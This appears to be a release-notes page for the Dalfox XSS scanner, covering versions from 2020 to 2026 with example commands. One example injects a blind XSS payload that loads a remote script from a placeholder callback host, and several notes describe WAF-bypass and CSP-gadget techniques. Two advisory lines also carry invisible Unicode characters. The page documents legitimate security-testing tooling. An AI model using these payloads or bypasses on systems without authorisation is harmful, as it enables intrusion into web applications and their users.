Adds --blind-oob for out-of-band (OAST) XSS detection via interactsh, catching stored and async sinks that never reflect.
Adds --input-type har to accept HAR exports from Burp, Caido, ZAP, mitmproxy, or DevTools as a scan source.
Adds --analyze-external-js to fetch and run AST DOM-XSS analysis on a target's same-origin <script src> bundles (capped at 16 files / 512 KiB).
Adds --detect-outdated-libs (opt-in) to flag known-vulnerable front-end library versions as informational findings.
Adds CSP & Trusted Types awareness: emits strict-dynamic / nonce gadget payloads and adapts when a Trusted Types policy is detected.

+9 more show less

Adds filter-aware payload synthesis that computes exact JS breakout sequences from the observed script prefix, including escaped-quote and nested-context cases.
Adds four attribute-decode WAF-bypass mutations (KeywordEntityEncode, SchemeBreak, EntityScheme, MultiSlash) exploiting HTML tokenizer entity decoding.
Adds size-limited WAF inspection-window bypass: detects WAFs that inspect only the first N bytes and positions payloads past the inspection window.
Adds global rate limiting via --rate-limit / -r / --rl (requests-per-second token bucket, 0 = unlimited) shared across all workers and targets.
Adds --retries / --retry-delay for optional exponential-backoff retries on HTTP 5xx and transient errors (HTTP 429 is always retried).
Adds --insecure TLS flag to make certificate validation configurable for scan, server, and mcp modes.
Adds scan_timeout whole-scan budget for server and MCP modes to bound total duration of concurrent async jobs.
Extends DOM-XSS sink coverage to include Document.parseHTMLUnsafe() and window.open().
Structured output metadata (version, targets, duration, request/finding counts, per-target WAF info) now included in SARIF, Markdown, and TOML formats.

14 details in Everything

v3.0.1 Jun 2, 2026 · release notes

Dalfox v3.0.1 adds jQuery/import()/fetch() DOM-XSS sinks, NetScaler WAF fingerprints, and native .deb/.rpm/musl/Snap/AUR packages.

└──▷ GET THIS VERSION

$ git clone --branch v3.0.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.0.1

Adds DOM-XSS AST analysis for jQuery $()/jQuery() selector-to-HTML sinks, dynamic import() execution sinks, and fetch()/XMLHttpRequest response sources.
Adds WAF fingerprints for NetScaler and cookie-based signatures, plus generalized bypass mutations shared across vendors.
Adds native .deb and .rpm packages, musl static binaries for x86_64-musl and aarch64-musl, and distribution via Snapcraft and AUR.

3 details in Everything

v3.0.0 May 25, 2026 · release notes

Dalfox v3 rewrites in Rust with AST-based JS analysis, MCP server, async REST API, SARIF output, and new scan-control flags.

└──▷ GET THIS VERSION

$ git clone --branch v3.0.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.0.0

└──▷ TRY IT

Output findings in SARIF format to integrate directly with GitHub Code Scanning in CI.

$ dalfox scan url https://example.com/search?q=test --format sarif > results.sarif

Do a preflight dry-run to validate your scan configuration and targets before sending any payloads.

$ dalfox scan url https://example.com/search?q=test --dry-run --max-payloads-per-param 10 --scan-timeout 30

New AST-based JS analysis via oxc replaces headless browsers for fast, accurate DOM-XSS detection.
New dalfox mcp subcommand launches an MCP stdio server to expose Dalfox scanning tools to AI coding assistants.
Async REST API server rebuilt on axum with job queueing, real-time cancellation, and webhook notifications.
Adds markdown, sarif (GitHub Code Scanning), and toml output formats alongside TOML/JSON config file support.
New --dry-run preflight mode runs a scan without sending payloads, and --stream-findings surfaces results immediately.

+4 more show less

New --max-payloads-per-param and --scan-timeout flags cap scan resource usage for controlled environments.
Unified scan subcommand consolidates all target scan paths; legacy aliases url, file, and pipe remain for backward compatibility.
Exit codes standardized: 0 clean, 1 findings, 2 errors — enabling reliable CI pipeline integration.
Per-target progress bars replace spinners; banners are automatically suppressed in silent or machine-readable modes.

9 details in Everything

└──▷ BREAKING ON UPGRADE

!Complete rewrite in Rust — the Go implementation moves to the v2 branch; the v3 binary is a different runtime.
!The --found-action, --grep, --report, and --max-cpu flags are removed with no direct replacements.
!The Chromium/chromedp headless browser engine and all headless-related CLI flags are removed.
!Non-XSS (BAV) vulnerability checkers are removed; Dalfox v3 is strictly an XSS scanner.
!The --cookie-from-raw flag is excluded from the MCP tool interface (sandbox restriction).

advisory CVE-2026-45088 May 7, 2026 · issue 128

CVE-2026-45088: Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via custom-payload-file in Dalfox Server Mode (CVSS 7.5, affects <= 2.12.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

advisory CVE-2026-45090 May 7, 2026 · issue 128

CVE-2026-45090: Unauthenticated Remote DoS via Closed-Channel Write in ParameterAnalysis (server mode) (CVSS 7.5, affects <= 2.12.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

v2.13.0 May 7, 2026 · release notes

Dalfox v2.13.0 adds out-of-scope filtering, early-stop mode, JSON body XSS testing, and 10 new secret-pattern regexes.

└──▷ GET THIS VERSION

$ git clone --branch v2.13.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.13.0

Adds --out-of-scope domain filtering to exclude irrelevant domains from scans.
Adds early-stop scan mode to halt on first result, with result-type filtering.
Adds JSON body parameter testing for XSS, enabling coverage of API endpoints that accept JSON payloads.
Expands secret-pattern grep ruleset with 10 new providers: Sentry, Netlify, Firebase, GitLab, SendGrid, Dropbox, Asana, DigitalOcean, Linear, and Shopify.
Hardens REST/MCP server mode by stripping CLI-only options (filesystem and shell fields) at the API boundary, closing one Critical and three High-severity advisories.

5 details in Everything

v2.12.0 Jul 6, 2025 · release notes

Dalfox v2.12.0 adds custom blind XSS payloads, markdown reports, raw HTTP pipe mode, API key auth, and new XSS bypass payloads.

└──▷ GET THIS VERSION

$ git clone --branch v2.12.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.12.0

└──▷ TRY IT

Inject a custom blind XSS payload (e.g., pointing to your own callback server) instead of relying on built-in blind payloads.

$ dalfox url https://target.example.com/search?q=test --blind https://your-callback.example.com --custom-blind-xss-payload '<script src="https://your-callback.example.com/payload.js"></script>'

Adds --custom-blind-xss-payload flag to supply user-defined blind XSS payloads at scan time.
Adds DELETE endpoints to the server API for scan data management.
Adds API key-based authentication for server mode.
Adds CORS and JSONP support for server mode.
Adds raw HTTP request support to pipe mode, enabling scans directly from raw request files.

+4 more show less

Adds markdown report format as an output option.
Adds new <object> and <embed> codebase XSS payloads for filter-bypass coverage.
Adds advanced XSS scanning features (PR #765).
Improves help message with grouped flag display for easier navigation.

9 details in Everything

v2.11.0 Apr 20, 2025 · release notes

Dalfox v2.11.0 adds MCP server mode, JSONL output format, and XDG_CONFIG_HOME support.

└──▷ GET THIS VERSION

$ git clone --branch v2.11.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.11.0

└──▷ TRY IT

Stream XSS scan results as JSON Lines into downstream tools like jq or a SIEM ingestion pipeline.

$ dalfox url https://example.com/search?q=test --format=jsonl | jq '.type'

Start Dalfox as an MCP server so LLM-based agents (e.g. Claude, Cursor) can invoke XSS scanning as a tool.

$ dalfox server --type=mcp

New dalfox server --type=mcp mode exposes Dalfox as an MCP (Model Context Protocol) server for LLM/AI tool integration.
New --format=jsonl output option emits results as JSON Lines, enabling streaming pipeline-friendly processing.
Supports XDG_CONFIG_HOME for standardized config file storage per the XDG Base Directory Specification.

3 details in Everything

v2.10.0 Mar 24, 2025 · release notes

Dalfox v2.10.0 adds BAV opt-in flag, skip-discovery, result limits, force headless verification, and new XSS payload patterns.

└──▷ GET THIS VERSION

$ git clone --branch v2.10.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.10.0

└──▷ TRY IT

Re-enable BAV scanning on a target after upgrading, since it is now off by default.

$ dalfox url https://example.com/search?q=test --use-bav

Adds --use-bav flag to explicitly opt into BAV (Blind-XSS Assisted Verification) scanning, which is now disabled by default.
Adds option to skip the discovery phase, letting practitioners scan known endpoints without reconnaissance overhead.
Adds result limit option for file and pipe commands to cap output volume.
Adds force headless verification option to drive Chrome-based payload confirmation on demand.
Adds custom transport support for HTTP-level customization of scan requests.

+1 more show less

Adds new XSS payload and comment patterns, expanding detection coverage.

6 details in Everything

└──▷ BREAKING ON UPGRADE

!BAV (Blind-XSS Assisted Verification) is now disabled by default; existing workflows that relied on BAV being active must add --use-bav to restore previous behavior.

v2.9.0 Mar 28, 2023 · release notes

Dalfox v2.9.0 adds --output-request/--output-response flags and HAR file writing support

└──▷ GET THIS VERSION

$ git clone --branch v2.9.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.9.0

Adds --output-request and --output-response flags to export raw HTTP request and response data
Adds HAR file writing support for capturing traffic in HAR format
Adds arm64 (Apple Silicon) Docker image in GHCR

3 details in Everything

v2.8.0 Sep 16, 2022 · release notes

Dalfox v2.8.0 adds --report and --report-format flags to export scan results.

└──▷ GET THIS VERSION

$ git clone --branch v2.8.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.8.0

Adds --report flag to save scan findings directly to a file.
Adds --report-format flag to specify the output format for the report (e.g., json, html).
Adds HAR format support in FILE mode, allowing Dalfox to read and process HAR files as input sources.

3 details in Everything

v2.7.1 Feb 12, 2022 · release notes

Adds --ignore-param global flag to skip specific parameters during scans

└──▷ GET THIS VERSION

$ git clone --branch v2.7.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.7.1

└──▷ TRY IT

Scan a URL while ignoring specific query parameters like session_id or trace, which might cause false positives or noise.

$ dalfox url 'https://example.com/page?id=1&session_id=abc123' --ignore-param session_id

Adds --ignore-param flag for excluding unwanted parameters from the scan surface

1 detail in Everything

v2.7.0 Dec 24, 2021 · release notes

Dalfox v2.7.0 adds ESI Injection to BAV module and Windows ARM64 support

└──▷ GET THIS VERSION

$ git clone --branch v2.7.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.7.0

Adds BAV Module with ESI Injection detection capability.
Adds windows/arm64 platform support for the Dalfox CLI binary.
Includes Severity information in the PoC object output format.

3 details in Everything

└──▷ BREAKING ON UPGRADE

!Go dependency upgraded from 1.16 to 1.17; builds require Go 1.17+.

v2.6.3 Dec 17, 2021 · release notes

Dalfox v2.6.3 adds severity and poctype fields to the PoC output object

└──▷ GET THIS VERSION

$ git clone --branch v2.6.3 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.6.3

└──▷ USE IT

Filter scan results by severity level using jq

shell

dalfox url https://example.com --json | jq '.[0].poc.severity'

v2.6.1 Dec 1, 2021 · release notes

Dalfox v2.6.1 adds PoCType to the library API and gzip support for request sending.

└──▷ GET THIS VERSION

$ git clone --branch v2.6.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.6.1

Adds PoCType field to the lib interface to enable different Proof of Concept types in programmatic usage
Adds gzip handling in SendReq function and ParamterAnalysis for compressed request bodies

2 details in Everything

v2.6.0 Nov 20, 2021 · release notes

Adds --poc-type flag to export PoCs as curl/httpie/http-request formats.

└──▷ GET THIS VERSION

$ git clone --branch v2.6.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.6.0

└──▷ USE IT

Generate a curl command as Proof of Concept for easy manual verification.

shell

dalfox url <target> --poc-type curl

Produce an httpie formatted PoC for modern API interaction patterns.

shell

dalfox url <target> --poc-type httpie

Output a raw HTTP request string for logging or custom tooling integration.

shell

dalfox url <target> --poc-type http-request

Adds --poc-type flag with curl, httpie, and http-request options to control Proof of Concept output format
New JSON result fields: InjectType, PoCType, Method, Param, Payload, Evidence, and CWE

2 details in Everything

v2.5.5 Nov 15, 2021 · release notes

Dalfox v2.5.5 adds support for specifying HTTP methods in Stored XSS (sxss) mode

└──▷ GET THIS VERSION

$ git clone --branch v2.5.5 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.5.5

Adds the ability to specify different HTTP methods (e.g., PUT, DELETE) in sxss mode instead of only POST

1 detail in Everything

└──▷ BREAKING ON UPGRADE

!The internal option field for HTTP method is now named request-method (previously used generic naming)

v2.5.0 Sep 27, 2021 · release notes

Dalfox v2.5.0 adds WAF detection/evasion, DalLog format, and new flags

└──▷ GET THIS VERSION

$ git clone --branch v2.5.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.5.0

└──▷ USE IT

Suppress all progress output for cleaner logs when scanning from a file or pipe.

shell

dalfox pipe --silence-force

Adds --silence-force flag to force silent mode even when progress printing would normally occur during file/pipe scanning.
Adds WAF Detection and Evasion capability as a core feature of the scanner.

2 details in Everything

v2.4.7 Jul 23, 2021 · release notes

Dalfox v2.4.7 adds DOM-based parameter scanning for form and a tags

└──▷ GET THIS VERSION

$ git clone --branch v2.4.7 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.4.7

v2.4.6 Jul 19, 2021 · release notes

Dalfox v2.4.6 adds support for multiple headers via the -H option.

└──▷ GET THIS VERSION

$ git clone --branch v2.4.6 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.4.6

└──▷ USE IT

Inject custom headers along with your payload to bypass WAF rules or simulate specific client behavior.

shell

dalfox url https://example.com -H "Authorization: Bearer token1" -H "X-Forwarded-For: 127.0.0.1"

The -H flag now accepts multiple header definitions in a single invocation.

1 detail in Everything

v2.4.5 Jul 10, 2021 · release notes

Adds --output-all flag and BAV scan ratelimit

└──▷ GET THIS VERSION

$ git clone --branch v2.4.5 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.4.5

└──▷ USE IT

Run a scan and ensure all potential XSS vectors are captured in the results file rather than just the highest severity ones.

shell

dalfox url https://example.com -o result.txt --output-all

Configure a delay between requests to manage rate limiting, using the new global limit.

shell

dalfox url https://example.com --latelimit 1000

Adds the --output-all CLI flag to include all scan data in output
Adds global latelimit configuration for delay concurrency control

2 details in Everything

v2.4.4 Jul 8, 2021 · release notes

Adds --found-action-shell flag for custom post-scan execution and enhanced server mode summary data.

└──▷ GET THIS VERSION

$ git clone --branch v2.4.4 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.4.4

└──▷ TRY IT

Execute a custom webhook or logging script immediately after Dalfox detects a vulnerability.

$ dalfox url https://example.com --found-action-shell 'curl -X POST http://localhost:8080/alert -d @-'

Run Dalfox in server mode to receive detailed summary data upon completion.

$ dalfox server --summary

Adds --found-action-shell flag to trigger external shell commands upon finding discovery
Adds summary information data output in server mode

2 details in Everything

v2.4.3 Jul 3, 2021 · release notes

Adds print() payload capability, new --only-poc flag to target known PoCs only

└──▷ GET THIS VERSION

$ git clone --branch v2.4.3 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.4.3

Adds print() support in payloads to generate alerts via the "alert is dead, long live print" technique
Adds --only-poc flag to scan using only proof-of-concept payloads

2 details in Everything

v2.4.0 Jun 14, 2021 · release notes

Dalfox v2.4.0 adds payload mode, remote wordlists, Deep DOM XSS detection and a library API

└──▷ GET THIS VERSION

$ git clone --branch v2.4.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.4.0

└──▷ TRY IT

Fetch a custom wordlist from a GitHub raw URL and use it for scanning instead of local defaults.

$ dalfox url https://example.com --remote-wordlists https://raw.githubusercontent.com/user/wordlist/main/xss.txt

Adds --remote-wordlists flag to fetch wordlists from external URLs instead of local files, enabling dynamic dictionary updates.
Adds --deep-domxss flag to enable logic and payload functions specifically for detecting complex DOM-based XSS vulnerabilities via headless browsing.
Exposes library API with NewScan function and result models in the Go package, allowing Dalfox to be integrated directly into other Go cyber tooling.
Changes default scanning behavior by renaming the old --headless flag to --skip-headless, making headless DOM testing opt-in rather than automatic.

4 details in Everything

└──▷ BREAKING ON UPGRADE

!The --headless flag has been renamed to --skip-headless; scripts relying on the old flag name will fail.

v2.3.4 Mar 7, 2021 · release notes

Dalfox v2.3.4 adds recursive path-based XSS scanning and improves ATTR payloads

└──▷ GET THIS VERSION

$ git clone --branch v2.3.4 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.3.4

Adds recursive directory traversal for PATH-based XSS detection to uncover hidden endpoints

1 detail in Everything

v2.3.3 Feb 21, 2021 · release notes

Dalfox v2.3.3 adds --mass-worker flag for pipe and file modes to scale mass scanning throughput.

└──▷ GET THIS VERSION

$ git clone --branch v2.3.3 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.3.3

└──▷ USE IT

Increase the worker pool for a large mass scanning job fed via file.

shell

dalfox file input.txt --mass-worker 50

Pipe a list of targets and configure the worker count for parallel processing.

shell

cat urls.txt | dalfox pipe --mass-worker 10

--mass-worker option available in file/pipe mode
Improved system log output

2 details in Everything

v2.3.2 Feb 18, 2021 · release notes

Adds --mass sub-flags for mass scanning configuration.

└──▷ GET THIS VERSION

$ git clone --branch v2.3.2 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.3.2

v2.2.6 Dec 18, 2020 · release notes

Dalfox v2.2.6 adds --debug option for verbose logging.

└──▷ GET THIS VERSION

$ git clone --branch v2.2.6 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.2.6

└──▷ USE IT

Capture verbose logs during a scan for troubleshooting or auditing purposes.

shell

dalfox url https://example.com --debug

--debug option added to enable debug-level logging output.

1 detail in Everything

v2.2.2 Nov 2, 2020 · release notes

Adds --only-custom-payload and --skip-grepping flags for more control over scanning scope and output.

└──▷ GET THIS VERSION

$ git clone --branch v2.2.2 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.2.2

└──▷ USE IT

Scan a target using only your own payload list, completely bypassing Dalfox's default XSS/SSRF checks to avoid noise or false positives.

shell

dalfox url https://example.com --payloads my_payloads.txt --only-custom-payload

Disable Dalfox's pattern-matching to get unfiltered raw output, useful for integrating with external SIEM or custom parsers.

shell

dalfox url https://example.com --skip-grepping

--only-custom-payload: Scans using only custom payloads (e.g. from --payloads) rather than the default Dalfox payload sets, suppressing all internal default scans.
--skip-grepping: Disables Dalfox's built-in grepping engine entirely, outputting raw results without filtering for known patterns like google-captcha/secret-key/access-key.
Removes google-captcha/secret-key/access-key from the built-in grepping pattern.

3 details in Everything

v2.2.0 Oct 5, 2020 · release notes

Dalfox v2.2.0 adds --skip-something and --no-bav flags plus server mode port/host configuration

└──▷ GET THIS VERSION

$ git clone --branch v2.2.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.2.0

└──▷ TRY IT

Run Dalfox as a server listening on a specific interface and port

$ dalfox server --host 0.0.0.0 --port 8080

Adds --skip-something flag to exclude specific vulnerability checks

1 detail in Everything

v2.1.0 Sep 7, 2020 · release notes

Dalfox v2.1.0 adds -X flag, mining subcommand with gf-patterns support, and log pattern names

└──▷ GET THIS VERSION

$ git clone --branch v2.1.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.1.0

└──▷ TRY IT

Inject payloads using a custom HTTP method like PATCH instead of the default GET/POST.

$ dalfox url -X PATCH

Run parameter mining with gf-patterns to discover hidden parameters.

$ dalfox url --mining

Adds -X / --method flag to specify the HTTP method for payload injection.
Adds --mining option to enable parameter mining using gf-patterns.
Adds built-in grep rules that display the pattern name in the PoC output.

3 details in Everything

v2.0.2 Aug 26, 2020 · release notes

Dalfox v2.0.2 adds new XSS payloads and Go 1.15 support.

└──▷ GET THIS VERSION

$ git clone --branch v2.0.2 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.0.2

Adds new XSS payloads to the default scan set
Drops Go 1.14 runtime in favor of Go 1.15

2 details in Everything

v2.0.0 Aug 9, 2020 · release notes

Dalfox v2.0 adds Server mode with API endpoints, follow-redirects flag, and header-based blind XSS support

└──▷ GET THIS VERSION

$ git clone --branch v2.0.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v2.0.0

└──▷ TRY IT

Start the API server to allow remote scanning clients

$ dalfox server --port 3000

Query the status or results of a previous scan via the API

$ curl http://localhost:3000/scans

Enable following redirects during scanning and format logs as JSON

$ dalfox url https://example.com --follow-redirects --format json

Adds Server mode for remote scanning via HTTP API
Adds GET /scans endpoint to retrieve scan results
Adds new command-line flags --follow-redirects (default false) and --format for log formatting
Enables Blind XSS detection in HTTP headers
Adds progress indicator showing scanned URL count in file/pipe modes

5 details in Everything

└──▷ BREAKING ON UPGRADE

!Dependency on echo updated to v4, requiring code changes if using Dalfox as a library

v1.2.0 Jun 3, 2020 · release notes

Adds --multicast flag for simultaneous multi-host testing in file/pipe modes

└──▷ GET THIS VERSION

$ git clone --branch v1.2.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v1.2.0

└──▷ USE IT

Scan multiple targets in a file simultaneously with equal load distribution

shell

dalfox file --input targets.txt --multicast

Pipe multiple target URLs and scan them concurrently

shell

cat urls.txt | dalfox pipe --multicast

Dalfox

Summary

How Dalfox helps

Languages

Features

What Dalfox offers you

release 39 total

docs 23 total

we ran it

example 19 total

release

docs 8 total

example

release

docs

example

release 9 total

docs

example

release

docs

example

release

docs

example

release

docs

example

release

docs

command line

example

docs

release

docs

release

docs

release

docs

release

example

release

release

docs

release

release

example

docs

release 11 total

docs

example

release 10 total

docs

release

docs

example

release

docs

example

release

docs

release

docs

command line

example

release

docs

release

release

example

release

example

docs

docs

example

release

docs

release

command line

release